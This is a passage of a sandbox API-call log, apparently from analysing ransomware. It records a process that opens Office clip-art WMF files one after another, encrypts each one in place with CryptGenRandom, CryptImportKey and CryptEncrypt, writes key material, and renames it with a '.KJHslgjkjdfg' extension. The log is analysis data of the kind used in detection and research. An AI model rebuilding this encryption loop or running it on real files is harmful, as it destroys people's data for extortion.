pdwDataLen=0x29df258*=0x4960, dwBufLen=0x4960 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4960) returned 1 [0201.062] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.062] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4960, lpOverlapped=0x0) returned 1 [0201.062] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.062] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.063] SetEndOfFile (hFile=0x130) returned 1 [0201.069] GetProcessHeap () returned 0x990000 [0201.069] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.069] GetProcessHeap () returned 0x990000 [0201.069] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.069] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf.kjhslgjkjdfg")) returned 1 [0201.071] CloseHandle (hObject=0x130) returned 1 [0201.071] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566ffef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4584, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0300862.WMF", cAlternateFileName="")) returned 1 [0201.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.072] GetProcessHeap () returned 0x990000 [0201.073] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.073] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.073] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0201.075] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.075] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.075] GetProcessHeap () returned 0x990000 [0201.075] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.075] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.075] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.075] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.076] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.076] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.076] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.076] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.076] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.076] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.076] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.076] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.076] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4584, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4584, lpOverlapped=0x0) returned 1 [0201.078] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4590, dwBufLen=0x4590 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4590) returned 1 [0201.078] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.078] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4590, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4590, lpOverlapped=0x0) returned 1 [0201.078] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.078] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.078] SetEndOfFile (hFile=0x130) returned 1 [0201.081] GetProcessHeap () returned 0x990000 [0201.081] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.081] GetProcessHeap () returned 0x990000 [0201.081] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.081] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf.kjhslgjkjdfg")) returned 1 [0201.083] CloseHandle (hObject=0x130) returned 1 [0201.083] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66f5700, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0x566ffef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf66f5700, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2b0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0301044.WMF", cAlternateFileName="")) returned 1 [0201.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.084] GetProcessHeap () returned 0x990000 [0201.084] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.084] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.084] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0201.087] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.087] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.087] GetProcessHeap () returned 0x990000 [0201.087] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.087] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.087] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.088] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.088] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.088] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.088] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.088] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.088] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.088] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.088] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2b0e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2b0e, lpOverlapped=0x0) returned 1 [0201.090] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b10, dwBufLen=0x2b10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b10) returned 1 [0201.090] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.090] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2b10, lpOverlapped=0x0) returned 1 [0201.090] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.090] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.090] SetEndOfFile (hFile=0x130) returned 1 [0201.093] GetProcessHeap () returned 0x990000 [0201.093] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.093] GetProcessHeap () returned 0x990000 [0201.093] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.093] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf.kjhslgjkjdfg")) returned 1 [0201.095] CloseHandle (hObject=0x130) returned 1 [0201.095] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab7300, ftCreationTime.dwHighDateTime=0x1bf4a6c, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ab7300, ftLastWriteTime.dwHighDateTime=0x1bf4a6c, nFileSizeHigh=0x0, nFileSizeLow=0x2ae8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0301052.WMF", cAlternateFileName="")) returned 1 [0201.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.097] GetProcessHeap () returned 0x990000 [0201.097] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.097] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.097] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.097] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.100] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.100] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.100] GetProcessHeap () returned 0x990000 [0201.100] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.100] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.100] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.100] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.100] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.100] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.101] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.101] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.101] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.101] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.101] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.101] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.101] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2ae8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2ae8, lpOverlapped=0x0) returned 1 [0201.103] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2af0, dwBufLen=0x2af0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2af0) returned 1 [0201.104] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.104] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2af0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2af0, lpOverlapped=0x0) returned 1 [0201.104] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.104] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.104] SetEndOfFile (hFile=0x130) returned 1 [0201.107] GetProcessHeap () returned 0x990000 [0201.107] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.107] GetProcessHeap () returned 0x990000 [0201.107] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.107] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf.kjhslgjkjdfg")) returned 1 [0201.109] CloseHandle (hObject=0x130) returned 1 [0201.109] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4a5a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0301418.WMF", cAlternateFileName="")) returned 1 [0201.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.111] GetProcessHeap () returned 0x990000 [0201.111] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.111] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.111] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.111] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0201.113] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.113] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.113] GetProcessHeap () returned 0x990000 [0201.113] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.113] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.114] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.114] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.114] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.114] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.114] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.114] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.114] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.114] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.114] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4a5a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4a5a, lpOverlapped=0x0) returned 1 [0201.116] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4a60, dwBufLen=0x4a60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4a60) returned 1 [0201.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.116] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4a60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4a60, lpOverlapped=0x0) returned 1 [0201.116] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.116] SetEndOfFile (hFile=0x130) returned 1 [0201.119] GetProcessHeap () returned 0x990000 [0201.119] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.119] GetProcessHeap () returned 0x990000 [0201.120] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.120] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf.kjhslgjkjdfg")) returned 1 [0201.121] CloseHandle (hObject=0x130) returned 1 [0201.121] FindNextFileW (in: hFindFile=0x9b64e8, 